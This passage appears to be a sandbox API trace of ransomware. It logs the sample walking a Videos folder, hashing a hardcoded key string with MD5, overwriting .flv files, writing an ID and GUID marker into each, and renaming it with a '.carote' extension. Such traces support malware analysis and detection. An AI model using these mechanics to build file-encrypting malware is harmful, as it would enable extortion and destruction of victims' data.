HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ItGC.flv") returned=".flv" [0113.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ItGC.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\itgc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.609] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=17292) returned 1 [0113.609] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.611] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4366, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.611] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.612] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.612] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x438c, lpOverlapped=0x0) returned 1 [0113.613] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.613] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.613] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.613] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.614] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.614] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.614] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.614] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.614] GetLastError () returned 0x0 [0113.614] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.614] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4390) returned 0x7b182e0 [0113.614] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.614] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x4387, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x4387, lpOverlapped=0x0) returned 1 [0113.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.614] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x438c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.615] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.615] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.615] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.615] CloseHandle (hObject=0x61c) returned 1 [0113.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.616] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b14908 [0113.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.616] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ItGC.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\itgc.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\ItGC.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\itgc.flv.carote")) returned 1 [0113.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.616] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.617] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.617] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6397ebd0, ftCreationTime.dwHighDateTime=0x1d4c895, ftLastAccessTime.dwLowDateTime=0x929ffae0, ftLastAccessTime.dwHighDateTime=0x1d4cfe7, ftLastWriteTime.dwLowDateTime=0x929ffae0, ftLastWriteTime.dwHighDateTime=0x1d4cfe7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ky0Ly40HAhggPV2r3", cAlternateFileName="KY0LY4~1")) returned 1 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b163b0 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x214) returned 0x7a5d550 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f5b8 [0113.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f6e8 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f818 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecce8 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f228 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ce0 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f3f0 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f358 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109d88 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ebfa0 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109b90 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109c38 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f520 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5101078 | out: hHeap=0x5010000) returned 1 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16468 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b163b0 | out: hHeap=0x5010000) returned 1 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.618] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad35190, ftCreationTime.dwHighDateTime=0x1d4cec3, ftLastAccessTime.dwLowDateTime=0xc169b640, ftLastAccessTime.dwHighDateTime=0x1d4d2f8, ftLastWriteTime.dwLowDateTime=0xc169b640, ftLastWriteTime.dwHighDateTime=0x1d4d2f8, nFileSizeHigh=0x0, nFileSizeLow=0x106a7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Li7pjIddBJI Fo4mf9.flv", cAlternateFileName="LI7PJI~1.FLV")) returned 1 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f520 [0113.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f520 | out: hHeap=0x5010000) returned 1 [0113.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Li7pjIddBJI Fo4mf9.flv") returned=".flv" [0113.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Li7pjIddBJI Fo4mf9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\li7pjiddbji fo4mf9.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.619] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=67239) returned 1 [0113.619] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.620] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10681, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.621] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.622] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.622] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x106a7, lpOverlapped=0x0) returned 1 [0113.623] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.623] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.623] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.623] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0113.624] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.624] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.624] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.624] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.624] GetLastError () returned 0x0 [0113.624] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.624] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0113.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x106b0) returned 0x7b182e0 [0113.624] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.624] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x106a2, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x106a2, lpOverlapped=0x0) returned 1 [0113.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.625] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x106a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.625] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.625] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.625] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.625] CloseHandle (hObject=0x61c) returned 1 [0113.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.626] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.626] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Li7pjIddBJI Fo4mf9.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\li7pjiddbji fo4mf9.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Li7pjIddBJI Fo4mf9.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\li7pjiddbji fo4mf9.flv.carote")) returned 1 [0113.627] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.627] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.628] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54ab38a0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0xdb6d89f0, ftLastAccessTime.dwHighDateTime=0x1d4d315, ftLastWriteTime.dwLowDateTime=0xdb6d89f0, ftLastWriteTime.dwHighDateTime=0x1d4d315, nFileSizeHigh=0x0, nFileSizeLow=0x17ed4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wSpQFb6VP7CjB27-8wWi.flv", cAlternateFileName="WSPQFB~1.FLV")) returned 1 [0113.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f520 [0113.628] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.628] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f520 | out: hHeap=0x5010000) returned 1 [0113.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\wSpQFb6VP7CjB27-8wWi.flv") returned=".flv" [0113.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\wSpQFb6VP7CjB27-8wWi.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\wspqfb6vp7cjb27-8wwi.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.628] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=98004) returned 1 [0113.628] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.630] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17eae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.630] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.631] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.631] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x17ed4, lpOverlapped=0x0) returned 1 [0113.632] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.632] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.632] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.632] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0113.633] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.633] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.633] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.633] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.633] GetLastError () returned 0x0 [0113.633] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.633] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0113.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x17ed0) returned 0x7b182e0 [0113.634] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.634] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x17ecf, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x17ecf, lpOverlapped=0x0) returned 1 [0113.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.634] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.635] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, 